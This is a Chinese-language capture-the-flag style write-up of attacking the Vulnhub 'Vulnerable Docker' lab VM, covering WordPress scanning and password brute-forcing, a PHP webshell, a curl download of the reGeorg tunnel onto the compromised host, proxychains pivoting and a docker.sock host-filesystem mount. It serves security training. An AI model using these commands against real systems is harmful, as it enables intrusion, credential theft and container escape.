您现在的位置是:首页 > 文章详情

记一次对Vulnerable Docker靶机渗透全过程

日期:2018-09-30点击:534

记一次对Vulnerable Docker靶机渗透全过程

Vulnhub它是一个提供各种漏洞环境的平台,里面大部分的环境是要用VMware或者VirtualBox打开运行的。

今天我主要是使用VMware搭建一个Vulnerable Docker靶机环境,主要是为了练习使用。

完整找出所有flag只是基本任务,实现提权才是终极目标。我并不追求最快夺旗,而是尽可能运用所学的知识完整的运用在这套靶机中,所以,

这篇文章中,或许某些内容对拿到flag无直接帮助,但在应对真实目标时,还是有一点帮助的。

0x01:Vulnerable Docker靶机下载

https://www.vulnhub.com

里面有各种各样的镜像,可以下载到自己的机子上面练习。

VNKLqoP.png

(需要我们注意的是,下载靶机环境的时候,我们需要提前看清这个靶机环境是否支持VMware的安装,否则就不可以安装在VWMare上面)

今天我们选择的是使用Vulnerable Docker: 1靶机环境

首先:这个靶机环境支持VMware环境的安装。

其次:靶机环境比较简单(flag只有三个)

img_9df7ce44f6b8375604011a02fa699abb.png

靶机下载地址:Downloadhttps://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

0x02:Vulnerable Docker靶机安装

下载完成之后就会看见有ova格式的文件

img_9a3bc5f6df5b5334dc1e4421880460bb.png

双击导入VMware中就可以了(具体操作过程)

img_ae1781c0b28376c2b03a767c6bc02560.png

点击下一步:

img_487e013f3c737b6045723f5a143b16cc.png

最后等待导入完成,导入速度看本机性能和镜像的大小

img_0c33b32d78f7be93049fa8bb584e014e.png

再对靶机环境进行配置一下:

img_382c4a88dad5c5a69cce38f780970ea5.png

启动Vulnerable Docker靶机就可以看见

0x03:完成任务!

作者给我们的描述是:这里里面有三个flag(其中的flag_2被发行者无意中遗漏了)

We have planted 3 flag files across the various machines / systems that are available to you

Your mission if you choose to accept would be as following:

Identify all the flags (2 in total: flag_1 and flag_3) (flag_2 was inadvertently left out)

1:网络扫描

启动Vulnerable Docker靶机就可以看见:

img_304884f78b9acdda08438785c6004cad.png

使用nmap对靶机IP地址进行扫描:

nmap -A 192.168.232.134

img_5d804dcf62d890364fa9cd5a3fdeec9a.png

2:flag_1

我们先打开8000端口,看看有没有flag

img_71901dad848a963579f201aa3d85de74.png

使用WPscan进行漏洞扫描:

wpscan --url http://192.168.232.134:8000/

mWHN7yu.png

打开链接:http://192.168.232.134:8000/robots.txt

img_5d394c93f6303935a07c2ec7e27cbfb7.png

使用WPscan进行枚举用户名:

wpscan --url http://192.168.232.134:8000/ --enumerate u

fdxps0Y.png

按照正常思维对用户名进行爆破:

wpscan --url http://192.168.232.134:8000/ -e u --wordlist /root/桌面/1.txt

img_7fa6c11aba4603a5d0025d6e040f24a3.png

并没有爆破得到任何信息(QAQ):

这个时候需要我们再回头开始看起,看见一个链接,wordpress的登录端口:http://192.168.232.134:8000/wp-admin/

img_96b553439780b58e4c34c299e4eb78aa.png

使用刚刚爆破出来的用户名bob填进去就可以了,而在这里的密码需要使用burp进行爆破(具体操作过程)

img_fc34a59572fa967752f887d05c0c3905.png

img_5e8745d8bc9e2996f2bd2f04b67f733a.png

爆破得到:

img_6a35858c44ef7a55275f453d557a6c84.png

成功登录后台(经过一系列的乱翻之后就会找到)

img_bbd00172e8a3653a0b383abb3589f336.png

3:flag_3

这下面的操作是在我的另一个kali中的操作(具体原因下文会提到)

如果可以进入Wordpress的后台,那么拿shell就很简单了,使用在线编辑功能就可以。

使用菜刀上传一句话(php)

img_e1e9a5af7841c9c3a3c2e5eb7cbe1558.png

连上shell后收集了下面的一些信息

数据库中的信息:

define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'WordPressISBest'); define('DB_HOST', 'db:3306');

系统是 Linux 8f4bca8ef241 3.13.0-128-generic #177-Ubuntu SMP Tue Aug 8 11:40:23 UTC 2017 x86_64 GNU/Linux,用户是

www-data,这么新的系统直接就可以放弃提权了,否则Dirty COW之类的洞还是超级好用的,不过我们可以参考下面这一篇文章,找到一点灵感

可以参考Tunnel Manager - From RCE to Docker Escapehttps://paper.seebug.org/396/

img_6aa555aba18cb8af4c83b80fd24560e3.jpe

ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff inet 172.18.0.2/16 scope global eth0 valid_lft forever preferred_lft forever

img_6aa555aba18cb8af4c83b80fd24560e3.jpe

想起题目是Vulnerable Docker VM,猜想应该就是docker.sock或者HTTP API未授权访问之类的问题,不过翻了下没找到什么。

但是看机器的IP,感觉这个虚拟机里面应该还有个docker network的内网,简单的ping了下,发现至少是存在172.18.0.1-4的,这时候

需要做一下内网穿透,这样方便在我的电脑上操作,否则shell里面缺少很多工具和依赖,比较麻烦。

我使用的是 reGeorghttps://github.com/sensepost/reGeorg

curl -o tunnel.php https://raw.githubusercontent.com/sensepost/reGeorg/master/tunnel.nosocket.php

浏览器访问了一下,显示Georg says,'All seems fine'

本地电脑上运行python reGeorgSocksProxy.py -u http://192.168.30.171:8000/tunnel.php

[INFO ] Log Level set to [INFO] [INFO ] Starting socks server [127.0.0.1:8888], tunnel at [http://192.168.30.171:8000/tunnel.php] [INFO ] Checking if Georg is ready [INFO ] Georg says, 'All seems fine'

因为reGeorg提供的是socks5代理,所以需要本地使用proxychains具体配置不多说了

proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.4 连接数据库,

但是并没有找到什么 flag,然后继续扫内网,还是nmap那一堆命令加上proxychains前缀就好。

然后发现一个IP有个奇怪的端口

Nmap scan report for 172.18.0.3 Host is up (0.0062s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 8022/tcp open oa-system

curl看了下,貌似是一个网页,然后在设置了浏览器的socks5代理,就看到了,原来是一个网页版ssh,而且这里面终于有docker.sock

img_5ebc2d3f42e57bd4f062565ec4a4b4da.png

接下来就是老套路了,可以参考 :Docker学习与remote API未授权访问分析和利用https://www.secpulse.com/archives/55928.html

而我是直接在另一个kali中里面安装了一个docker,这样就可以操作主机上的docker了。

img_e6a1c19af4b7c1343aec262865c6e381.jpe

然后使用volume挂载主机上的所有文件到一个目录

docker run -it --rm -v /:/vol wordpress /bin/bash

这样就可以看到flag_3

img_488bf72ce219859d4fa36ad126ecbf60.png

关于这一个靶机漏洞可以学习到很多知识

首先:关于wordpress漏洞

其次:提权中遇到的关于Tunnel Manager - From RCE to Docker Escape漏洞

最后:关于Docker的自学以及Docker学习与remote API未授权访问分析和利用

参考资料:

Vulnerable Docker靶机下载https://www.vulnhub.com/entry/vulnerable-docker-1,208/

Docker学习与remote API未授权访问分析和利用https://www.secpulse.com/archives/55928.html

WPScan使用完整教程之记一次对WordPress的渗透过程: https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=46194&page=1#pid511454

Docker学习https://www.bilibili.com/video/av17854410?from=search&seid=13990341548063716463

Tunnel Manager - From RCE to Docker Escapehttps://paper.seebug.org/396/

reGeorghttps://github.com/sensepost/reGeorg

您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。

微信 支付宝
作者: 落花四月
关于作者:潜心于网络安全学习。如有问题或建议,请多多赐教!
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接.
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!
原文链接:https://yq.aliyun.com/articles/649030
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章